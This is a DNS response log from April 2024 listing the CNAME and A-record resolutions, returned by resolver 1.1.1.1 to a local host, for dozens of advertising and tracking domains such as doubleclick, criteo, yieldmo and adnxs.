Apr 28, 2024 00:42:32.991038084 CEST	1.1.1.1	192.168.2.4	0x8032	No error (0)	rtb-csync.smartadserver.com	rtb-csync-geo.usersync-prod-sas.akadns.net		CNAME (Canonical name)	IN (0x0001)	false
Apr 28, 2024 00:42:32.991038084 CEST	1.1.1.1	192.168.2.4	0x8032	No error (0)	rtb-csync-use1.smartadserver.com		23.105.12.150	A (IP address)	IN (0x0001)	false
Apr 28, 2024 00:42:32.991038084 CEST	1.1.1.1	192.168.2.4	0x8032	No error (0)	rtb-csync-use1.smartadserver.com		216.22.16.56	A (IP address)	IN (0x0001)	false
Apr 28, 2024 00:42:32.991038084 CEST	1.1.1.1	192.168.2.4	0x8032	No error (0)	rtb-csync-use1.smartadserver.com		216.22.16.73	A (IP address)	IN (0x0001)	false
Apr 28, 2024 00:42:32.991038084 CEST	1.1.1.1	192.168.2.4	0x8032	No error (0)	rtb-csync-use1.smartadserver.com		216.22.16.8	A (IP address)	IN (0x0001)	false
Apr 28, 2024 00:42:32.991038084 CEST	1.1.1.1	192.168.2.4	0x8032	No error (0)	rtb-csync-use1.smartadserver.com		23.105.12.121	A (IP address)	IN (0x0001)	false
Apr 28, 2024 00:42:32.991038084 CEST	1.1.1.1	192.168.2.4	0x8032	No error (0)	rtb-csync-use1.smartadserver.com		23.105.12.173	A (IP address)	IN (0x0001)	false
Apr 28, 2024 00:42:32.991038084 CEST	1.1.1.1	192.168.2.4	0x8032	No error (0)	rtb-csync-use1.smartadserver.com		216.22.16.40	A (IP address)	IN (0x0001)	false
Apr 28, 2024 00:42:32.991038084 CEST	1.1.1.1	192.168.2.4	0x8032	No error (0)	rtb-csync-use1.smartadserver.com		216.22.16.9	A (IP address)	IN (0x0001)	false
Apr 28, 2024 00:42:32.991038084 CEST	1.1.1.1	192.168.2.4	0x8032	No error (0)	rtb-csync-use1.smartadserver.com		23.105.14.106	A (IP address)	IN (0x0001)	false
Apr 28, 2024 00:42:32.991038084 CEST	1.1.1.1	192.168.2.4	0x8032	No error (0)	rtb-csync-use1.smartadserver.com		23.105.12.120	A (IP address)	IN (0x0001)	false
Apr 28, 2024 00:42:32.991038084 CEST	1.1.1.1	192.168.2.4	0x8032	No error (0)	rtb-csync-use1.smartadserver.com		23.105.14.105	A (IP address)	IN (0x0001)	false
Apr 28, 2024 00:42:32.991038084 CEST	1.1.1.1	192.168.2.4	0x8032	No error (0)	rtb-csync-use1.smartadserver.com		23.105.12.136	A (IP address)	IN (0x0001)	false
Apr 28, 2024 00:42:32.991038084 CEST	1.1.1.1	192.168.2.4	0x8032	No error (0)	rtb-csync-use1.smartadserver.com		216.22.16.72	A (IP address)	IN (0x0001)	false
Apr 28, 2024 00:42:32.991038084 CEST	1.1.1.1	192.168.2.4	0x8032	No error (0)	rtb-csync-use1.smartadserver.com		216.22.16.41	A (IP address)	IN (0x0001)	false
Apr 28, 2024 00:42:32.991038084 CEST	1.1.1.1	192.168.2.4	0x8032	No error (0)	rtb-csync-use1.smartadserver.com		23.105.12.151	A (IP address)	IN (0x0001)	false
Apr 28, 2024 00:42:32.991038084 CEST	1.1.1.1	192.168.2.4	0x8032	No error (0)	rtb-csync-use1.smartadserver.com		23.105.12.172	A (IP address)	IN (0x0001)	false
Apr 28, 2024 00:42:32.991038084 CEST	1.1.1.1	192.168.2.4	0x8032	No error (0)	rtb-csync-use1.smartadserver.com		216.22.16.57	A (IP address)	IN (0x0001)	false
Apr 28, 2024 00:42:32.991038084 CEST	1.1.1.1	192.168.2.4	0x8032	No error (0)	rtb-csync-use1.smartadserver.com		23.105.12.137	A (IP address)	IN (0x0001)	false
Apr 28, 2024 00:42:32.992284060 CEST	1.1.1.1	192.168.2.4	0xd944	No error (0)	rtb-csync.smartadserver.com	rtb-csync-geo.usersync-prod-sas.akadns.net		CNAME (Canonical name)	IN (0x0001)	false
Apr 28, 2024 00:42:33.006648064 CEST	1.1.1.1	192.168.2.4	0x2dcc	No error (0)	sync.targeting.unrulymedia.com	sync.1rx.io		CNAME (Canonical name)	IN (0x0001)	false
Apr 28, 2024 00:42:33.006648064 CEST	1.1.1.1	192.168.2.4	0x2dcc	No error (0)	sync.1rx.io		69.194.240.13	A (IP address)	IN (0x0001)	false
Apr 28, 2024 00:42:33.008435965 CEST	1.1.1.1	192.168.2.4	0xb653	No error (0)	sync.targeting.unrulymedia.com	sync.1rx.io		CNAME (Canonical name)	IN (0x0001)	false
Apr 28, 2024 00:42:33.034594059 CEST	1.1.1.1	192.168.2.4	0x39a7	No error (0)	securepubads.g.doubleclick.net	securepubads46.g.doubleclick.net		CNAME (Canonical name)	IN (0x0001)	false
Apr 28, 2024 00:42:33.034594059 CEST	1.1.1.1	192.168.2.4	0x39a7	No error (0)	securepubads46.g.doubleclick.net		172.253.63.155	A (IP address)	IN (0x0001)	false
Apr 28, 2024 00:42:33.034594059 CEST	1.1.1.1	192.168.2.4	0x39a7	No error (0)	securepubads46.g.doubleclick.net		172.253.63.154	A (IP address)	IN (0x0001)	false
Apr 28, 2024 00:42:33.035681009 CEST	1.1.1.1	192.168.2.4	0x4cb1	No error (0)	securepubads.g.doubleclick.net	securepubads46.g.doubleclick.net		CNAME (Canonical name)	IN (0x0001)	false
Apr 28, 2024 00:42:33.061901093 CEST	1.1.1.1	192.168.2.4	0xecb0	No error (0)	creativecdn.com		185.184.8.90	A (IP address)	IN (0x0001)	false
Apr 28, 2024 00:42:33.077162981 CEST	1.1.1.1	192.168.2.4	0xe24c	No error (0)	static.criteo.net	static.us5.vip.prod.criteo.net		CNAME (Canonical name)	IN (0x0001)	false
Apr 28, 2024 00:42:33.077162981 CEST	1.1.1.1	192.168.2.4	0xe24c	No error (0)	static.us5.vip.prod.criteo.net		74.119.117.4	A (IP address)	IN (0x0001)	false
Apr 28, 2024 00:42:33.077935934 CEST	1.1.1.1	192.168.2.4	0x6efa	No error (0)	static.criteo.net	static.us5.vip.prod.criteo.net		CNAME (Canonical name)	IN (0x0001)	false
Apr 28, 2024 00:42:33.098371983 CEST	1.1.1.1	192.168.2.4	0xe96a	No error (0)	cm.g.doubleclick.net		172.253.62.154	A (IP address)	IN (0x0001)	false
Apr 28, 2024 00:42:33.098371983 CEST	1.1.1.1	192.168.2.4	0xe96a	No error (0)	cm.g.doubleclick.net		172.253.62.157	A (IP address)	IN (0x0001)	false
Apr 28, 2024 00:42:33.127089977 CEST	1.1.1.1	192.168.2.4	0x6446	No error (0)	pr-bh.ybp.yahoo.com	ds-pr-bh.ybp.gysm.yahoodns.net		CNAME (Canonical name)	IN (0x0001)	false
Apr 28, 2024 00:42:33.127089977 CEST	1.1.1.1	192.168.2.4	0x6446	No error (0)	ds-pr-bh.ybp.gysm.yahoodns.net		54.236.160.160	A (IP address)	IN (0x0001)	false
Apr 28, 2024 00:42:33.127089977 CEST	1.1.1.1	192.168.2.4	0x6446	No error (0)	ds-pr-bh.ybp.gysm.yahoodns.net		3.224.186.77	A (IP address)	IN (0x0001)	false
Apr 28, 2024 00:42:33.127089977 CEST	1.1.1.1	192.168.2.4	0x6446	No error (0)	ds-pr-bh.ybp.gysm.yahoodns.net		54.225.128.95	A (IP address)	IN (0x0001)	false
Apr 28, 2024 00:42:33.127089977 CEST	1.1.1.1	192.168.2.4	0x6446	No error (0)	ds-pr-bh.ybp.gysm.yahoodns.net		54.83.59.21	A (IP address)	IN (0x0001)	false
Apr 28, 2024 00:42:33.128592014 CEST	1.1.1.1	192.168.2.4	0xad40	No error (0)	pr-bh.ybp.yahoo.com	ds-pr-bh.ybp.gysm.yahoodns.net		CNAME (Canonical name)	IN (0x0001)	false
Apr 28, 2024 00:42:33.134380102 CEST	1.1.1.1	192.168.2.4	0x3836	No error (0)	ad.doubleclick.net			65	IN (0x0001)	false
Apr 28, 2024 00:42:33.134993076 CEST	1.1.1.1	192.168.2.4	0x8968	No error (0)	ad.doubleclick.net		142.251.167.149	A (IP address)	IN (0x0001)	false
Apr 28, 2024 00:42:33.134993076 CEST	1.1.1.1	192.168.2.4	0x8968	No error (0)	ad.doubleclick.net		142.251.167.148	A (IP address)	IN (0x0001)	false
Apr 28, 2024 00:42:33.137188911 CEST	1.1.1.1	192.168.2.4	0xe550	No error (0)	qsearch-a.akamaihd.net	qsearch-a.akamaihd.net.edgesuite.net		CNAME (Canonical name)	IN (0x0001)	false
Apr 28, 2024 00:42:33.138375044 CEST	1.1.1.1	192.168.2.4	0xea22	No error (0)	qsearch-a.akamaihd.net	qsearch-a.akamaihd.net.edgesuite.net		CNAME (Canonical name)	IN (0x0001)	false
Apr 28, 2024 00:42:33.143313885 CEST	1.1.1.1	192.168.2.4	0xb5b	No error (0)	hblg.media.net		23.222.200.28	A (IP address)	IN (0x0001)	false
Apr 28, 2024 00:42:33.143856049 CEST	1.1.1.1	192.168.2.4	0x5570	No error (0)	d31otfhas71ais.cloudfront.net		18.160.45.35	A (IP address)	IN (0x0001)	false
Apr 28, 2024 00:42:33.143856049 CEST	1.1.1.1	192.168.2.4	0x5570	No error (0)	d31otfhas71ais.cloudfront.net		18.160.45.140	A (IP address)	IN (0x0001)	false
Apr 28, 2024 00:42:33.143856049 CEST	1.1.1.1	192.168.2.4	0x5570	No error (0)	d31otfhas71ais.cloudfront.net		18.160.45.193	A (IP address)	IN (0x0001)	false
Apr 28, 2024 00:42:33.143856049 CEST	1.1.1.1	192.168.2.4	0x5570	No error (0)	d31otfhas71ais.cloudfront.net		18.160.45.50	A (IP address)	IN (0x0001)	false
Apr 28, 2024 00:42:33.150365114 CEST	1.1.1.1	192.168.2.4	0x490c	No error (0)	rtb-use.hellogenie.com	pool-bid-gce-us.dorpat.iponweb.net		CNAME (Canonical name)	IN (0x0001)	false
Apr 28, 2024 00:42:33.150937080 CEST	1.1.1.1	192.168.2.4	0xd667	No error (0)	rtb-use.hellogenie.com	pool-bid-gce-us.dorpat.iponweb.net		CNAME (Canonical name)	IN (0x0001)	false
Apr 28, 2024 00:42:33.150937080 CEST	1.1.1.1	192.168.2.4	0xd667	No error (0)	pool-bid-gce-us.dorpat.iponweb.net		35.207.24.140	A (IP address)	IN (0x0001)	false
Apr 28, 2024 00:42:33.403165102 CEST	1.1.1.1	192.168.2.4	0xc64f	No error (0)	sync.technoratimedia.com	adserver.technoratimedia.com		CNAME (Canonical name)	IN (0x0001)	false
Apr 28, 2024 00:42:33.403165102 CEST	1.1.1.1	192.168.2.4	0xc64f	No error (0)	adserver.technoratimedia.com		150.136.25.38	A (IP address)	IN (0x0001)	false
Apr 28, 2024 00:42:33.404552937 CEST	1.1.1.1	192.168.2.4	0x19f3	No error (0)	sync.technoratimedia.com	adserver.technoratimedia.com		CNAME (Canonical name)	IN (0x0001)	false
Apr 28, 2024 00:42:33.562573910 CEST	1.1.1.1	192.168.2.4	0x9908	No error (0)	sync.crwdcntrl.net		44.206.188.238	A (IP address)	IN (0x0001)	false
Apr 28, 2024 00:42:33.562573910 CEST	1.1.1.1	192.168.2.4	0x9908	No error (0)	sync.crwdcntrl.net		3.234.91.248	A (IP address)	IN (0x0001)	false
Apr 28, 2024 00:42:33.562573910 CEST	1.1.1.1	192.168.2.4	0x9908	No error (0)	sync.crwdcntrl.net		34.200.191.194	A (IP address)	IN (0x0001)	false
Apr 28, 2024 00:42:33.562573910 CEST	1.1.1.1	192.168.2.4	0x9908	No error (0)	sync.crwdcntrl.net		44.205.210.132	A (IP address)	IN (0x0001)	false
Apr 28, 2024 00:42:33.562573910 CEST	1.1.1.1	192.168.2.4	0x9908	No error (0)	sync.crwdcntrl.net		54.159.210.141	A (IP address)	IN (0x0001)	false
Apr 28, 2024 00:42:33.562573910 CEST	1.1.1.1	192.168.2.4	0x9908	No error (0)	sync.crwdcntrl.net		34.196.226.77	A (IP address)	IN (0x0001)	false
Apr 28, 2024 00:42:33.562573910 CEST	1.1.1.1	192.168.2.4	0x9908	No error (0)	sync.crwdcntrl.net		35.171.148.203	A (IP address)	IN (0x0001)	false
Apr 28, 2024 00:42:33.562573910 CEST	1.1.1.1	192.168.2.4	0x9908	No error (0)	sync.crwdcntrl.net		54.87.122.38	A (IP address)	IN (0x0001)	false
Apr 28, 2024 00:42:33.733362913 CEST	1.1.1.1	192.168.2.4	0xd984	No error (0)	id.rlcdn.com		35.244.154.8	A (IP address)	IN (0x0001)	false
Apr 28, 2024 00:42:34.336044073 CEST	1.1.1.1	192.168.2.4	0x3ea5	Name error (3)	ads.avct.cloud	none	none	A (IP address)	IN (0x0001)	false
Apr 28, 2024 00:42:34.336488008 CEST	1.1.1.1	192.168.2.4	0x1fa8	Name error (3)	ads.avct.cloud	none	none	65	IN (0x0001)	false
Apr 28, 2024 00:42:36.186595917 CEST	1.1.1.1	192.168.2.4	0x7902	Name error (3)	ads.avct.cloud	none	none	A (IP address)	IN (0x0001)	false
Apr 28, 2024 00:42:39.124125957 CEST	1.1.1.1	192.168.2.4	0x5102	No error (0)	pippio.com		107.178.254.65	A (IP address)	IN (0x0001)	false
Apr 28, 2024 00:42:42.651206017 CEST	1.1.1.1	192.168.2.4	0x5bd6	No error (0)	px.owneriq.net	wildcard.owneriq.net.edgekey.net		CNAME (Canonical name)	IN (0x0001)	false
Apr 28, 2024 00:42:42.651335955 CEST	1.1.1.1	192.168.2.4	0x5fd4	No error (0)	px.owneriq.net	wildcard.owneriq.net.edgekey.net		CNAME (Canonical name)	IN (0x0001)	false
Apr 28, 2024 00:42:42.963300943 CEST	1.1.1.1	192.168.2.4	0x7cd4	No error (0)	synchroscript.deliveryengine.adswizz.com		18.160.10.47	A (IP address)	IN (0x0001)	false
Apr 28, 2024 00:42:42.963300943 CEST	1.1.1.1	192.168.2.4	0x7cd4	No error (0)	synchroscript.deliveryengine.adswizz.com		18.160.10.111	A (IP address)	IN (0x0001)	false
Apr 28, 2024 00:42:42.963300943 CEST	1.1.1.1	192.168.2.4	0x7cd4	No error (0)	synchroscript.deliveryengine.adswizz.com		18.160.10.105	A (IP address)	IN (0x0001)	false
Apr 28, 2024 00:42:42.963300943 CEST	1.1.1.1	192.168.2.4	0x7cd4	No error (0)	synchroscript.deliveryengine.adswizz.com		18.160.10.49	A (IP address)	IN (0x0001)	false
Apr 28, 2024 00:42:42.965317965 CEST	1.1.1.1	192.168.2.4	0x9d9a	No error (0)	idsync.rlcdn.com		35.244.154.8	A (IP address)	IN (0x0001)	false
Apr 28, 2024 00:42:42.965894938 CEST	1.1.1.1	192.168.2.4	0x82ca	No error (0)	bcp.crwdcntrl.net		44.205.210.132	A (IP address)	IN (0x0001)	false
Apr 28, 2024 00:42:42.965894938 CEST	1.1.1.1	192.168.2.4	0x82ca	No error (0)	bcp.crwdcntrl.net		34.200.191.194	A (IP address)	IN (0x0001)	false
Apr 28, 2024 00:42:42.965894938 CEST	1.1.1.1	192.168.2.4	0x82ca	No error (0)	bcp.crwdcntrl.net		52.44.103.61	A (IP address)	IN (0x0001)	false
Apr 28, 2024 00:42:42.965894938 CEST	1.1.1.1	192.168.2.4	0x82ca	No error (0)	bcp.crwdcntrl.net		3.234.91.248	A (IP address)	IN (0x0001)	false
Apr 28, 2024 00:42:42.965894938 CEST	1.1.1.1	192.168.2.4	0x82ca	No error (0)	bcp.crwdcntrl.net		54.87.122.38	A (IP address)	IN (0x0001)	false
Apr 28, 2024 00:42:42.965894938 CEST	1.1.1.1	192.168.2.4	0x82ca	No error (0)	bcp.crwdcntrl.net		44.196.251.236	A (IP address)	IN (0x0001)	false
Apr 28, 2024 00:42:42.965894938 CEST	1.1.1.1	192.168.2.4	0x82ca	No error (0)	bcp.crwdcntrl.net		54.159.210.141	A (IP address)	IN (0x0001)	false
Apr 28, 2024 00:42:42.965894938 CEST	1.1.1.1	192.168.2.4	0x82ca	No error (0)	bcp.crwdcntrl.net		34.196.226.77	A (IP address)	IN (0x0001)	false
Apr 28, 2024 00:42:42.968911886 CEST	1.1.1.1	192.168.2.4	0x3a79	No error (0)	match.adsby.bidtheatre.com		188.166.17.21	A (IP address)	IN (0x0001)	false
Apr 28, 2024 00:42:42.968911886 CEST	1.1.1.1	192.168.2.4	0x3a79	No error (0)	match.adsby.bidtheatre.com		64.227.64.62	A (IP address)	IN (0x0001)	false
Apr 28, 2024 00:42:42.968911886 CEST	1.1.1.1	192.168.2.4	0x3a79	No error (0)	match.adsby.bidtheatre.com		134.122.57.34	A (IP address)	IN (0x0001)	false
Apr 28, 2024 00:42:43.222661972 CEST	1.1.1.1	192.168.2.4	0x9f93	No error (0)	de9a11s35xj3d.cloudfront.net		18.165.94.184	A (IP address)	IN (0x0001)	false
Apr 28, 2024 00:42:43.222661972 CEST	1.1.1.1	192.168.2.4	0x9f93	No error (0)	de9a11s35xj3d.cloudfront.net		18.165.94.108	A (IP address)	IN (0x0001)	false
Apr 28, 2024 00:42:43.222661972 CEST	1.1.1.1	192.168.2.4	0x9f93	No error (0)	de9a11s35xj3d.cloudfront.net		18.165.94.59	A (IP address)	IN (0x0001)	false
Apr 28, 2024 00:42:43.222661972 CEST	1.1.1.1	192.168.2.4	0x9f93	No error (0)	de9a11s35xj3d.cloudfront.net		18.165.94.217	A (IP address)	IN (0x0001)	false
Apr 28, 2024 00:42:43.296274900 CEST	1.1.1.1	192.168.2.4	0x63c3	No error (0)	ads.yieldmo.com	rw.yieldmo.com		CNAME (Canonical name)	IN (0x0001)	false
Apr 28, 2024 00:42:43.296274900 CEST	1.1.1.1	192.168.2.4	0x63c3	No error (0)	rw.yieldmo.com	us-east-1.world.rw.yieldmo.com		CNAME (Canonical name)	IN (0x0001)	false
Apr 28, 2024 00:42:43.296274900 CEST	1.1.1.1	192.168.2.4	0x63c3	No error (0)	us-east-1.world.rw.yieldmo.com	rw-yieldmo-com-1233107411.us-east-1.elb.amazonaws.com		CNAME (Canonical name)	IN (0x0001)	false
Apr 28, 2024 00:42:43.296274900 CEST	1.1.1.1	192.168.2.4	0x63c3	No error (0)	rw-yieldmo-com-1233107411.us-east-1.elb.amazonaws.com		35.172.238.227	A (IP address)	IN (0x0001)	false
Apr 28, 2024 00:42:43.296274900 CEST	1.1.1.1	192.168.2.4	0x63c3	No error (0)	rw-yieldmo-com-1233107411.us-east-1.elb.amazonaws.com		107.23.208.6	A (IP address)	IN (0x0001)	false
Apr 28, 2024 00:42:43.296274900 CEST	1.1.1.1	192.168.2.4	0x63c3	No error (0)	rw-yieldmo-com-1233107411.us-east-1.elb.amazonaws.com		54.237.177.72	A (IP address)	IN (0x0001)	false
Apr 28, 2024 00:42:43.296274900 CEST	1.1.1.1	192.168.2.4	0x63c3	No error (0)	rw-yieldmo-com-1233107411.us-east-1.elb.amazonaws.com		54.88.246.74	A (IP address)	IN (0x0001)	false
Apr 28, 2024 00:42:43.296274900 CEST	1.1.1.1	192.168.2.4	0x63c3	No error (0)	rw-yieldmo-com-1233107411.us-east-1.elb.amazonaws.com		54.157.121.109	A (IP address)	IN (0x0001)	false
Apr 28, 2024 00:42:43.296274900 CEST	1.1.1.1	192.168.2.4	0x63c3	No error (0)	rw-yieldmo-com-1233107411.us-east-1.elb.amazonaws.com		54.164.91.55	A (IP address)	IN (0x0001)	false
Apr 28, 2024 00:42:43.296274900 CEST	1.1.1.1	192.168.2.4	0x63c3	No error (0)	rw-yieldmo-com-1233107411.us-east-1.elb.amazonaws.com		52.207.2.19	A (IP address)	IN (0x0001)	false
Apr 28, 2024 00:42:43.296274900 CEST	1.1.1.1	192.168.2.4	0x63c3	No error (0)	rw-yieldmo-com-1233107411.us-east-1.elb.amazonaws.com		35.169.222.158	A (IP address)	IN (0x0001)	false
Apr 28, 2024 00:42:43.296569109 CEST	1.1.1.1	192.168.2.4	0xb938	No error (0)	ads.yieldmo.com	rw.yieldmo.com		CNAME (Canonical name)	IN (0x0001)	false
Apr 28, 2024 00:42:43.296569109 CEST	1.1.1.1	192.168.2.4	0xb938	No error (0)	rw.yieldmo.com	us-east-1.world.rw.yieldmo.com		CNAME (Canonical name)	IN (0x0001)	false
Apr 28, 2024 00:42:43.296569109 CEST	1.1.1.1	192.168.2.4	0xb938	No error (0)	us-east-1.world.rw.yieldmo.com	rw-yieldmo-com-1233107411.us-east-1.elb.amazonaws.com		CNAME (Canonical name)	IN (0x0001)	false
Apr 28, 2024 00:42:43.300024033 CEST	1.1.1.1	192.168.2.4	0x8e23	No error (0)	nym1-ib.adnxs.com		68.67.179.155	A (IP address)	IN (0x0001)	false
Apr 28, 2024 00:42:43.300024033 CEST	1.1.1.1	192.168.2.4	0x8e23	No error (0)	nym1-ib.adnxs.com		68.67.160.137	A (IP address)	IN (0x0001)	false
Apr 28, 2024 00:42:43.300024033 CEST	1.1.1.1	192.168.2.4	0x8e23	No error (0)	nym1-ib.adnxs.com		68.67.179.166	A (IP address)	IN (0x0001)	false
Apr 28, 2024 00:42:43.300024033 CEST	1.1.1.1	192.168.2.4	0x8e23	No error (0)	nym1-ib.adnxs.com		68.67.160.132	A (IP address)	IN (0x0001)	false
Apr 28, 2024 00:42:43.300024033 CEST	1.1.1.1	192.168.2.4	0x8e23	No error (0)	nym1-ib.adnxs.com		68.67.178.10	A (IP address)	IN (0x0001)	false
Apr 28, 2024 00:42:43.300024033 CEST	1.1.1.1	192.168.2.4	0x8e23	No error (0)	nym1-ib.adnxs.com		68.67.161.208	A (IP address)	IN (0x0001)	false
Apr 28, 2024 00:42:43.300024033 CEST	1.1.1.1	192.168.2.4	0x8e23	No error (0)	nym1-ib.adnxs.com		68.67.160.184	A (IP address)	IN (0x0001)	false
Apr 28, 2024 00:42:43.300024033 CEST	1.1.1.1	192.168.2.4	0x8e23	No error (0)	nym1-ib.adnxs.com		68.67.160.117	A (IP address)	IN (0x0001)	false
Apr 28, 2024 00:42:43.300024033 CEST	1.1.1.1	192.168.2.4	0x8e23	No error (0)	nym1-ib.adnxs.com		68.67.160.76	A (IP address)	IN (0x0001)	false
Apr 28, 2024 00:42:43.300024033 CEST	1.1.1.1	192.168.2.4	0x8e23	No error (0)	nym1-ib.adnxs.com		68.67.160.26	A (IP address)	IN (0x0001)	false
Apr 28, 2024 00:42:43.300024033 CEST	1.1.1.1	192.168.2.4	0x8e23	No error (0)	nym1-ib.adnxs.com		68.67.161.182	A (IP address)	IN (0x0001)	false
Apr 28, 2024 00:42:43.300024033 CEST	1.1.1.1	192.168.2.4	0x8e23	No error (0)	nym1-ib.adnxs.com		68.67.179.164	A (IP address)	IN (0x0001)	false
Apr 28, 2024 00:42:43.301007986 CEST	1.1.1.1	192.168.2.4	0x6c60	No error (0)	mcc-cms-s3.s3.amazonaws.com	s3-1-w.amazonaws.com		CNAME (Canonical name)	IN (0x0001)	false
Apr 28, 2024 00:42:43.301007986 CEST	1.1.1.1	192.168.2.4	0x6c60	No error (0)	s3-1-w.amazonaws.com	s3-w.us-east-1.amazonaws.com		CNAME (Canonical name)	IN (0x0001)	false
Apr 28, 2024 00:42:43.306090117 CEST	1.1.1.1	192.168.2.4	0x9628	No error (0)	mcc-cms-s3.s3.amazonaws.com	s3-1-w.amazonaws.com		CNAME (Canonical name)	IN (0x0001)	false
Apr 28, 2024 00:42:43.306090117 CEST	1.1.1.1	192.168.2.4	0x9628	No error (0)	s3-1-w.amazonaws.com	s3-w.us-east-1.amazonaws.com		CNAME (Canonical name)	IN (0x0001)	false
Apr 28, 2024 00:42:43.306090117 CEST	1.1.1.1	192.168.2.4	0x9628	No error (0)	s3-w.us-east-1.amazonaws.com		3.5.30.234	A (IP address)	IN (0x0001)	false
Apr 28, 2024 00:42:43.306090117 CEST	1.1.1.1	192.168.2.4	0x9628	No error (0)	s3-w.us-east-1.amazonaws.com		52.217.74.108	A (IP address)	IN (0x0001)	false
Apr 28, 2024 00:42:43.306090117 CEST	1.1.1.1	192.168.2.4	0x9628	No error (0)	s3-w.us-east-1.amazonaws.com		52.217.230.17	A (IP address)	IN (0x0001)	false
Apr 28, 2024 00:42:43.306090117 CEST	1.1.1.1	192.168.2.4	0x9628	No error (0)	s3-w.us-east-1.amazonaws.com		52.216.33.193	A (IP address)	IN (0x0001)	false
Apr 28, 2024 00:42:43.306090117 CEST	1.1.1.1	192.168.2.4	0x9628	No error (0)	s3-w.us-east-1.amazonaws.com		52.217.138.225	A (IP address)	IN (0x0001)	false
Apr 28, 2024 00:42:43.306090117 CEST	1.1.1.1	192.168.2.4	0x9628	No error (0)	s3-w.us-east-1.amazonaws.com		52.217.229.177	A (IP address)	IN (0x0001)	false
Apr 28, 2024 00:42:43.306090117 CEST	1.1.1.1	192.168.2.4	0x9628	No error (0)	s3-w.us-east-1.amazonaws.com		52.217.130.225	A (IP address)	IN (0x0001)	false
Apr 28, 2024 00:42:43.306090117 CEST	1.1.1.1	192.168.2.4	0x9628	No error (0)	s3-w.us-east-1.amazonaws.com		52.217.118.49	A (IP address)	IN (0x0001)	false
Apr 28, 2024 00:42:43.307687044 CEST	1.1.1.1	192.168.2.4	0x7a95	No error (0)	contextual.media.net		23.62.24.69	A (IP address)	IN (0x0001)	false
Apr 28, 2024 00:42:43.322289944 CEST	1.1.1.1	192.168.2.4	0x1513	No error (0)	c21lg-d.media.net	star.media.net.edgekey.net		CNAME (Canonical name)	IN (0x0001)	false
Apr 28, 2024 00:42:43.323539972 CEST	1.1.1.1	192.168.2.4	0x38a2	No error (0)	c21lg-d.media.net	star.media.net.edgekey.net		CNAME (Canonical name)	IN (0x0001)	false
Apr 28, 2024 00:42:43.351015091 CEST	1.1.1.1	192.168.2.4	0x492c	No error (0)	s0.2mdn.net		142.251.167.148	A (IP address)	IN (0x0001)	false
Apr 28, 2024 00:42:43.351015091 CEST	1.1.1.1	192.168.2.4	0x492c	No error (0)	s0.2mdn.net		142.251.167.149	A (IP address)	IN (0x0001)	false
Apr 28, 2024 00:42:43.357088089 CEST	1.1.1.1	192.168.2.4	0x839b	No error (0)	eb2.3lift.com	na-eb2.3lift.com		CNAME (Canonical name)	IN (0x0001)	false
Apr 28, 2024 00:42:43.357088089 CEST	1.1.1.1	192.168.2.4	0x839b	No error (0)	na-eb2.3lift.com	us-east-eb2.3lift.com		CNAME (Canonical name)	IN (0x0001)	false
Apr 28, 2024 00:42:43.357088089 CEST	1.1.1.1	192.168.2.4	0x839b	No error (0)	us-east-eb2.3lift.com		52.223.22.214	A (IP address)	IN (0x0001)	false
Apr 28, 2024 00:42:43.357088089 CEST	1.1.1.1	192.168.2.4	0x839b	No error (0)	us-east-eb2.3lift.com		35.71.139.29	A (IP address)	IN (0x0001)	false
Apr 28, 2024 00:42:43.357933998 CEST	1.1.1.1	192.168.2.4	0x15f9	No error (0)	sync1.intentiq.com		52.85.132.46	A (IP address)	IN (0x0001)	false
Apr 28, 2024 00:42:43.357933998 CEST	1.1.1.1	192.168.2.4	0x15f9	No error (0)	sync1.intentiq.com		52.85.132.15	A (IP address)	IN (0x0001)	false
Apr 28, 2024 00:42:43.357933998 CEST	1.1.1.1	192.168.2.4	0x15f9	No error (0)	sync1.intentiq.com		52.85.132.4	A (IP address)	IN (0x0001)	false
Apr 28, 2024 00:42:43.357933998 CEST	1.1.1.1	192.168.2.4	0x15f9	No error (0)	sync1.intentiq.com		52.85.132.68	A (IP address)	IN (0x0001)	false
Apr 28, 2024 00:42:43.357995987 CEST	1.1.1.1	192.168.2.4	0x3cf8	No error (0)	eb2.3lift.com	na-eb2.3lift.com		CNAME (Canonical name)	IN (0x0001)	false
Apr 28, 2024 00:42:43.357995987 CEST	1.1.1.1	192.168.2.4	0x3cf8	No error (0)	na-eb2.3lift.com	us-east-eb2.3lift.com		CNAME (Canonical name)	IN (0x0001)	false
Apr 28, 2024 00:42:43.359277010 CEST	1.1.1.1	192.168.2.4	0x7802	No error (0)	token.rubiconproject.com	pixel.rubiconproject.net.akadns.net		CNAME (Canonical name)	IN (0x0001)	false
Apr 28, 2024 00:42:43.360116005 CEST	1.1.1.1	192.168.2.4	0xa818	No error (0)	token.rubiconproject.com	pixel.rubiconproject.net.akadns.net		CNAME (Canonical name)	IN (0x0001)	false
Apr 28, 2024 00:42:43.360955954 CEST	1.1.1.1	192.168.2.4	0x987e	No error (0)	match.adsrvr.org		52.223.40.198	A (IP address)	IN (0x0001)	false
Apr 28, 2024 00:42:43.360955954 CEST	1.1.1.1	192.168.2.4	0x987e	No error (0)	match.adsrvr.org		15.197.193.217	A (IP address)	IN (0x0001)	false
Apr 28, 2024 00:42:43.360955954 CEST	1.1.1.1	192.168.2.4	0x987e	No error (0)	match.adsrvr.org		35.71.131.137	A (IP address)	IN (0x0001)	false
Apr 28, 2024 00:42:43.360955954 CEST	1.1.1.1	192.168.2.4	0x987e	No error (0)	match.adsrvr.org		3.33.220.150	A (IP address)	IN (0x0001)	false
Apr 28, 2024 00:42:43.363817930 CEST	1.1.1.1	192.168.2.4	0x537	No error (0)	static.yieldmo.com	dt2usiyxy6j3j.cloudfront.net		CNAME (Canonical name)	IN (0x0001)	false
Apr 28, 2024 00:42:43.363817930 CEST	1.1.1.1	192.168.2.4	0x537	No error (0)	dt2usiyxy6j3j.cloudfront.net		13.32.208.6	A (IP address)	IN (0x0001)	false
Apr 28, 2024 00:42:43.363817930 CEST	1.1.1.1	192.168.2.4	0x537	No error (0)	dt2usiyxy6j3j.cloudfront.net		13.32.208.44	A (IP address)	IN (0x0001)	false
Apr 28, 2024 00:42:43.363817930 CEST	1.1.1.1	192.168.2.4	0x537	No error (0)	dt2usiyxy6j3j.cloudfront.net		13.32.208.88	A (IP address)	IN (0x0001)	false
Apr 28, 2024 00:42:43.363817930 CEST	1.1.1.1	192.168.2.4	0x537	No error (0)	dt2usiyxy6j3j.cloudfront.net		13.32.208.31	A (IP address)	IN (0x0001)	false
